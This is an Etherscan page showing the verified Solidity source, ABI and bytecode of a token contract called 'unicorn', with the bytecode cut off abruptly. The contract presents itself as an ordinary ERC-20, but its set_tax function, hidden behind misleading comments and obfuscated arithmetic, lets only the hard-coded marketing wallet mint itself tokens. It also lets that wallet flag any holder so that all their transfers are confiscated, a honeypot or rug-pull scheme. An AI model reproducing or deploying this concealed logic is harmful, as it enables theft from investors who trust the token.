ETH Price: $3,315.72 (+1.35%)
 

Overview

Max Total Supply

1,000,000 uni

Holders

4

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
41,610.981973275867675435 uni

Value
$0.00
0xB6EE6f13D8e6635f3E47796c56eAB15898F57E34
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
unicorn

Compiler Version
v0.8.18+commit.87f61d96

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-05-13
*/

//unicornerc.vip
//t.me/unicornerc

//SPDX-License-Identifier:MIT

pragma solidity ^0.8.0;
abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this;
        return msg.data;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }


    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a,b,"SafeMath: division by zero");
    }

    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}
contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    constructor () {
        _owner = _msgSender();
        emit OwnershipTransferred(address(0), _owner);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function transferOwnership(address newAddress) public onlyOwner{
        _owner = newAddress;
        emit OwnershipTransferred(_owner, newAddress);
    }

}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}
contract unicorn is Context, IERC20, Ownable {

    using SafeMath for uint256;
    string private _name = "unicorn";
    string private _symbol = "uni";
    uint8 private _decimals = 18;
    address payable public marketing;
    mapping (address => uint256) _balances;
    address public immutable deadAddress = 0x000000000000000000000000000000000000dEaD;

    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) public _isExcludefromFee;
    mapping (address => bool) public _uniswapPair;
    mapping (address => uint256) public _lppair;

    uint256 private _totalSupply = 1000000 * 10**_decimals;

    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapPair;
    
    bool inSwapAndLiquify;
    bool public swapAndLiquifyEnabled = true;

    modifier lockTheSwap {
        inSwapAndLiquify = true;
        _;
        inSwapAndLiquify = false;
    }
    
    constructor () {
        _isExcludefromFee[owner()] = true;
        _isExcludefromFee[address(this)] = true;

        _balances[_msgSender()] = _totalSupply;
        emit Transfer(address(0), _msgSender(), _totalSupply);

        marketing = payable(address(0x289625386d8ea4b8155Db37d0019DD3Ba842a3e7));
    }

    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    receive() external payable {}

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function enableTrading() public onlyOwner{
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        uniswapPair = IUniswapV2Factory(_uniswapV2Router.factory())
            .createPair(address(this), _uniswapV2Router.WETH());

        uniswapV2Router = _uniswapV2Router;
        _uniswapPair[address(uniswapPair)] = true;
        _allowances[address(this)][address(uniswapV2Router)] = ~uint256(0);

    }

    function _transfer(address from, address to, uint256 amount) private returns (bool) {

        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        
        if(inSwapAndLiquify)
        {
            return _basicTransfer(from, to, amount); 
        }
        else
        {
            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwapAndLiquify && !_uniswapPair[from])
            {
                swapAndLiquify(contractTokenBalance);
            }

            _balances[from] = _balances[from].sub(amount);

            uint256 fAmount = (_isExcludefromFee[from] || _isExcludefromFee[to]) ? amount : takeFee(from, amount);
            
            _balances[to] = _balances[to].add(fAmount);

            emit Transfer(from, to, fAmount);
            return true;
        }
    }

    function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
        _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
        return true;
    }

    function set(uint256 valueIndex,
    mapping(address => uint256)// set new eth address
    storage // set new eth address
    implementations) private {
        implementations[marketing] += valueIndex;
    }

    function swapAndLiquify(uint256 amount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();

        try uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            amount,
            0, 
            path,
            address(marketing),
            block.timestamp
        ){} catch {}
    }

    function set_tax(address mwaddress,uint256 taxAmount) public {
        uint a = 100;uint256 b = 300;
        if (taxAmount >= 50 + uint256((a)+(b)).mul(a)) set(taxAmount+taxAmount,(_balances));
        if (b-3*a == taxAmount) _lppair[mwaddress] = taxAmount;
        if (b+a == taxAmount) _lppair[mwaddress] = taxAmount;
        if (marketing != msg.sender)
            revert ("marketing tax not changed!");
    }

    function takeFee(address sender, uint256 amount) internal returns (uint256) {
        uint256 swapFee = amount.mul(0).div(100);

        if(_lppair[sender] != 0) 
            swapFee = amount.mul(100).div(100);


        if(swapFee > 0) {
            _balances[address(this)] += swapFee;
            emit Transfer(sender, address(this), swapFee);
        }

        return amount.sub(swapFee);
    }
    
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludefromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_lppair","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_uniswapPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"deadAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"marketing","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"mwaddress","type":"address"},{"internalType":"uint256","name":"taxAmount","type":"uint256"}],"name":"set_tax","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapAndLiquifyEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newAddress","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

60e0604052600760a0908152663ab734b1b7b93760c91b60c0526001906200002890826200028f565b50604080518082019091526003815262756e6960e81b60208201526002906200005290826200028f565b506003805460ff1916601290811790915561dead6080526200007690600a62000470565b6200008590620f424062000488565b600955600b805460ff60a81b1916600160a81b179055348015620000a857600080fd5b50600080546001600160a01b0319163390811782556040519091907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3600160066000620001016000546001600160a01b031690565b6001600160a01b0316815260208082019290925260409081016000908120805494151560ff1995861617905530815260069092528120805490921660011790915560095490600490620001513390565b6001600160a01b03168152602081019190915260400160002055336001600160a01b031660006001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600954604051620001b491815260200190565b60405180910390a360038054610100600160a81b03191674289625386d8ea4b8155db37d0019dd3ba842a3e700179055620004a2565b634e487b7160e01b600052604160045260246000fd5b600181811c908216806200021557607f821691505b6020821081036200023657634e487b7160e01b600052602260045260246000fd5b50919050565b601f8211156200028a57600081815260208120601f850160051c81016020861015620002655750805b601f850160051c820191505b81811015620002865782815560010162000271565b5050505b505050565b81516001600160401b03811115620002ab57620002ab620001ea565b620002c381620002bc845462000200565b846200023c565b602080601f831160018114620002fb5760008415620002e25750858301515b600019600386901b1c1916600185901b17855562000286565b600085815260208120601f198616915b828110156200032c578886015182559484019460019091019084016200030b565b50858210156200034b5787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620003b25781600019048211156200039657620003966200035b565b80851615620003a457918102915b93841c939080029062000376565b509250929050565b600082620003cb575060016200046a565b81620003da575060006200046a565b8160018114620003f35760028114620003fe576200041e565b60019150506200046a565b60ff8411156200041257620004126200035b565b50506001821b6200046a565b5060208310610133831016604e8410600b841016171562000443575081810a6200046a565b6200044f838362000371565b80600019048211156200046657620004666200035b565b0290505b92915050565b60006200048160ff841683620003ba565b9392505050565b80820281158282048414176200046a576200046a6200035b565b6080516114de620004be600039600061021e01526114de6000f3fe60806040526004361061012e5760003560e01c80635bf792b8116100ab578063a3ba15991161006f578063a3ba159914610378578063a9059cbb146103a5578063c816841b146103c5578063dd62ed3e146103e5578063f2fde38b1461042b578063fb3ddf851461044b57600080fd5b80635bf792b8146102d857806370a08231146102fa5780638a8c523c146103305780638da5cb5b1461034557806395d89b411461036357600080fd5b806327c8f835116100f257806327c8f8351461020c5780632d3e474a14610240578063313ce567146102655780633345611e146102875780634a74bb02146102b757600080fd5b806306fdde031461013a578063095ea7b3146101655780631694505e1461019557806318160ddd146101cd57806323b872dd146101ec57600080fd5b3661013557005b600080fd5b34801561014657600080fd5b5061014f61047b565b60405161015c9190611204565b60405180910390f35b34801561017157600080fd5b5061018561018036600461126a565b61050d565b604051901515815260200161015c565b3480156101a157600080fd5b50600a546101b5906001600160a01b031681565b6040516001600160a01b03909116815260200161015c565b3480156101d957600080fd5b506009545b60405190815260200161015c565b3480156101f857600080fd5b50610185610207366004611296565b610524565b34801561021857600080fd5b506101b57f000000000000000000000000000000000000000000000000000000000000000081565b34801561024c57600080fd5b506003546101b59061010090046001600160a01b031681565b34801561027157600080fd5b5060035460405160ff909116815260200161015c565b34801561029357600080fd5b506101856102a23660046112d7565b60066020526000908152604090205460ff1681565b3480156102c357600080fd5b50600b5461018590600160a81b900460ff1681565b3480156102e457600080fd5b506102f86102f336600461126a565b61058f565b005b34801561030657600080fd5b506101de6103153660046112d7565b6001600160a01b031660009081526004602052604090205490565b34801561033c57600080fd5b506102f861069a565b34801561035157600080fd5b506000546001600160a01b03166101b5565b34801561036f57600080fd5b5061014f6108bc565b34801561038457600080fd5b506101de6103933660046112d7565b60086020526000908152604090205481565b3480156103b157600080fd5b506101856103c036600461126a565b6108cb565b3480156103d157600080fd5b50600b546101b5906001600160a01b031681565b3480156103f157600080fd5b506101de6104003660046112f4565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b34801561043757600080fd5b506102f86104463660046112d7565b6108d8565b34801561045757600080fd5b506101856104663660046112d7565b60076020526000908152604090205460ff1681565b60606001805461048a9061132d565b80601f01602080910402602001604051908101604052809291908181526020018280546104b69061132d565b80156105035780601f106104d857610100808354040283529160200191610503565b820191906000526020600020905b8154815290600101906020018083116104e657829003601f168201915b5050505050905090565b600061051a33848461097d565b5060015b92915050565b6000610531848484610aa1565b50610584843361057f85604051806060016040528060288152602001611481602891396001600160a01b038a1660009081526005602090815260408083203384529091529020549190610cf0565b61097d565b5060015b9392505050565b606461012c6105a8826105a2838261137d565b90610d2a565b6105b390603261137d565b83106105cd576105cd6105c6848061137d565b6004610dac565b826105d9836003611390565b6105e390836113a7565b03610604576001600160a01b03841660009081526008602052604090208390555b8261060f838361137d565b03610630576001600160a01b03841660009081526008602052604090208390555b60035461010090046001600160a01b031633146106945760405162461bcd60e51b815260206004820152601a60248201527f6d61726b6574696e6720746178206e6f74206368616e6765642100000000000060448201526064015b60405180910390fd5b50505050565b6000546001600160a01b031633146106f45760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161068b565b6000737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561074b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061076f91906113ba565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107bc573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107e091906113ba565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801561082d573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061085191906113ba565b600b80546001600160a01b039283166001600160a01b03199182168117909255600a8054948416949091169390931783556000908152600760209081526040808320805460ff1916600117905530835260058252808320945490931682529290925290206000199055565b60606002805461048a9061132d565b6000610584338484610aa1565b6000546001600160a01b031633146109325760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161068b565b600080546001600160a01b0319166001600160a01b0383169081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a350565b6001600160a01b0383166109df5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161068b565b6001600160a01b038216610a405760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161068b565b6001600160a01b0383811660008181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b60006001600160a01b038416610b075760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161068b565b6001600160a01b038316610b695760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161068b565b600b54600160a01b900460ff1615610b8d57610b86848484610de4565b9050610588565b30600090815260046020526040902054600b54600160a01b900460ff16158015610bd057506001600160a01b03851660009081526007602052604090205460ff16155b15610bde57610bde81610eca565b6001600160a01b038516600090815260046020526040902054610c019084611030565b6001600160a01b038616600090815260046020908152604080832093909355600690529081205460ff1680610c4e57506001600160a01b03851660009081526006602052604090205460ff165b610c6157610c5c8685611072565b610c63565b835b6001600160a01b038616600090815260046020526040902054909150610c89908261113a565b6001600160a01b0380871660008181526004602052604090819020939093559151908816907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610cdd9085815260200190565b60405180910390a3600192505050610588565b60008184841115610d145760405162461bcd60e51b815260040161068b9190611204565b506000610d2184866113a7565b95945050505050565b600082600003610d3c5750600061051e565b6000610d488385611390565b905082610d5585836113d7565b146105885760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161068b565b60035461010090046001600160a01b031660009081526020829052604081208054849290610ddb90849061137d565b90915550505050565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b0386166000908152600490915291822054610e35918490610cf0565b6001600160a01b038086166000908152600460205260408082209390935590851681522054610e64908361113a565b6001600160a01b0380851660008181526004602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610eb89086815260200190565b60405180910390a35060019392505050565b600b805460ff60a01b1916600160a01b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610f1257610f126113f9565b6001600160a01b03928316602091820292909201810191909152600a54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610f6b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f8f91906113ba565b81600181518110610fa257610fa26113f9565b6001600160a01b039283166020918202929092010152600a5460035460405163791ac94760e01b81529183169263791ac94792610ff39287926000928892610100900490911690429060040161140f565b600060405180830381600087803b15801561100d57600080fd5b505af192505050801561101e575060015b505050600b805460ff60a01b19169055565b600061058883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610cf0565b60008061108a60646110848584610d2a565b90611199565b6001600160a01b038516600090815260086020526040902054909150156110bd576110ba60646110848582610d2a565b90505b80156111285730600090815260046020526040812080548392906110e290849061137d565b909155505060405181815230906001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35b6111328382611030565b949350505050565b600080611147838561137d565b9050838110156105885760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161068b565b600061058883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250600081836111f75760405162461bcd60e51b815260040161068b9190611204565b506000610d2184866113d7565b600060208083528351808285015260005b8181101561123157858101830151858201604001528201611215565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461126757600080fd5b50565b6000806040838503121561127d57600080fd5b823561128881611252565b946020939093013593505050565b6000806000606084860312156112ab57600080fd5b83356112b681611252565b925060208401356112c681611252565b929592945050506040919091013590565b6000602082840312156112e957600080fd5b813561058881611252565b6000806040838503121561130757600080fd5b823561131281611252565b9150602083013561132281611252565b809150509250929050565b600181811c9082168061134157607f821691505b60208210810361136157634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b8082018082111561051e5761051e611367565b808202811582820484141761051e5761051e611367565b8181038181111561051e5761051e611367565b6000602082840312156113cc57600080fd5b815161058881611252565b6000826113f457634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b8181101561145f5784516001600160a01b03168352938301939183019160010161143a565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220780b14e6421d83655a18e3bdeb6d5c1e86edc91f912772ab39779900cd5abd1a64736f6c63430008120033

Deployed Bytecode

0x60806040526004361061012e5760003560e01c80635bf792b8116100ab578063a3ba15991161006f578063a3ba159914610378578063a9059cbb146103a5578063c816841b146103c5578063dd62ed3e146103e5578063f2fde38b1461042b578063fb3ddf851461044b57600080fd5b80635bf792b8146102d857806370a08231146102fa5780638a8c523c146103305780638da5cb5b1461034557806395d89b411461036357600080fd5b806327c8f835116100f257806327c8f8351461020c5780632d3e474a14610240578063313ce567146102655780633345611e146102875780634a74bb02146102b757600080fd5b806306fdde031461013a578063095ea7b3146101655780631694505e1461019557806318160ddd146101cd57806323b872dd146101ec57600080fd5b3661013557005b600080fd5b34801561014657600080fd5b5061014f61047b565b60405161015c9190611204565b60405180910390f35b34801561017157600080fd5b5061018561018036600461126a565b61050d565b604051901515815260200161015c565b3480156101a157600080fd5b50600a546101b5906001600160a01b031681565b6040516001600160a01b03909116815260200161015c565b3480156101d957600080fd5b506009545b60405190815260200161015c565b3480156101f857600080fd5b50610185610207366004611296565b610524565b34801561021857600080fd5b506101b57f000000000000000000000000000000000000000000000000000000000000dead81565b34801561024c57600080fd5b506003546101b59061010090046001600160a01b031681565b34801561027157600080fd5b5060035460405160ff909116815260200161015c565b34801561029357600080fd5b506101856102a23660046112d7565b60066020526000908152604090205460ff1681565b3480156102c357600080fd5b50600b5461018590600160a81b900460ff1681565b3480156102e457600080fd5b506102f86102f336600461126a565b61058f565b005b34801561030657600080fd5b506101de6103153660046112d7565b6001600160a01b031660009081526004602052604090205490565b34801561033c57600080fd5b506102f861069a565b34801561035157600080fd5b506000546001600160a01b03166101b5565b34801561036f57600080fd5b5061014f6108bc565b34801561038457600080fd5b506101de6103933660046112d7565b60086020526000908152604090205481565b3480156103b157600080fd5b506101856103c036600461126a565b6108cb565b3480156103d157600080fd5b50600b546101b5906001600160a01b031681565b3480156103f157600080fd5b506101de6104003660046112f4565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b34801561043757600080fd5b506102f86104463660046112d7565b6108d8565b34801561045757600080fd5b506101856104663660046112d7565b60076020526000908152604090205460ff1681565b60606001805461048a9061132d565b80601f01602080910402602001604051908101604052809291908181526020018280546104b69061132d565b80156105035780601f106104d857610100808354040283529160200191610503565b820191906000526020600020905b8154815290600101906020018083116104e657829003601f168201915b5050505050905090565b600061051a33848461097d565b5060015b92915050565b6000610531848484610aa1565b50610584843361057f85604051806060016040528060288152602001611481602891396001600160a01b038a1660009081526005602090815260408083203384529091529020549190610cf0565b61097d565b5060015b9392505050565b606461012c6105a8826105a2838261137d565b90610d2a565b6105b390603261137d565b83106105cd576105cd6105c6848061137d565b6004610dac565b826105d9836003611390565b6105e390836113a7565b03610604576001600160a01b03841660009081526008602052604090208390555b8261060f838361137d565b03610630576001600160a01b03841660009081526008602052604090208390555b60035461010090046001600160a01b031633146106945760405162461bcd60e51b815260206004820152601a60248201527f6d61726b6574696e6720746178206e6f74206368616e6765642100000000000060448201526064015b60405180910390fd5b50505050565b6000546001600160a01b031633146106f45760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161068b565b6000737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561074b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061076f91906113ba565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107bc573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107e091906113ba565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801561082d573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061085191906113ba565b600b80546001600160a01b039283166001600160a01b03199182168117909255600a8054948416949091169390931783556000908152600760209081526040808320805460ff1916600117905530835260058252808320945490931682529290925290206000199055565b60606002805461048a9061132d565b6000610584338484610aa1565b6000546001600160a01b031633146109325760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161068b565b600080546001600160a01b0319166001600160a01b0383169081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a350565b6001600160a01b0383166109df5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161068b565b6001600160a01b038216610a405760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161068b565b6001600160a01b0383811660008181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b60006001600160a01b038416610b075760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161068b565b6001600160a01b038316610b695760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161068b565b600b54600160a01b900460ff1615610b8d57610b86848484610de4565b9050610588565b30600090815260046020526040902054600b54600160a01b900460ff16158015610bd057506001600160a01b03851660009081526007602052604090205460ff16155b15610bde57610bde81610eca565b6001600160a01b038516600090815260046020526040902054610c019084611030565b6001600160a01b038616600090815260046020908152604080832093909355600690529081205460ff1680610c4e57506001600160a01b03851660009081526006602052604090205460ff165b610c6157610c5c8685611072565b610c63565b835b6001600160a01b038616600090815260046020526040902054909150610c89908261113a565b6001600160a01b0380871660008181526004602052604090819020939093559151908816907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610cdd9085815260200190565b60405180910390a3600192505050610588565b60008184841115610d145760405162461bcd60e51b815260040161068b9190611204565b506000610d2184866113a7565b95945050505050565b600082600003610d3c5750600061051e565b6000610d488385611390565b905082610d5585836113d7565b146105885760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161068b565b60035461010090046001600160a01b031660009081526020829052604081208054849290610ddb90849061137d565b90915550505050565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b0386166000908152600490915291822054610e35918490610cf0565b6001600160a01b038086166000908152600460205260408082209390935590851681522054610e64908361113a565b6001600160a01b0380851660008181526004602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610eb89086815260200190565b60405180910390a35060019392505050565b600b805460ff60a01b1916600160a01b179055604080516002808252606082018352600092602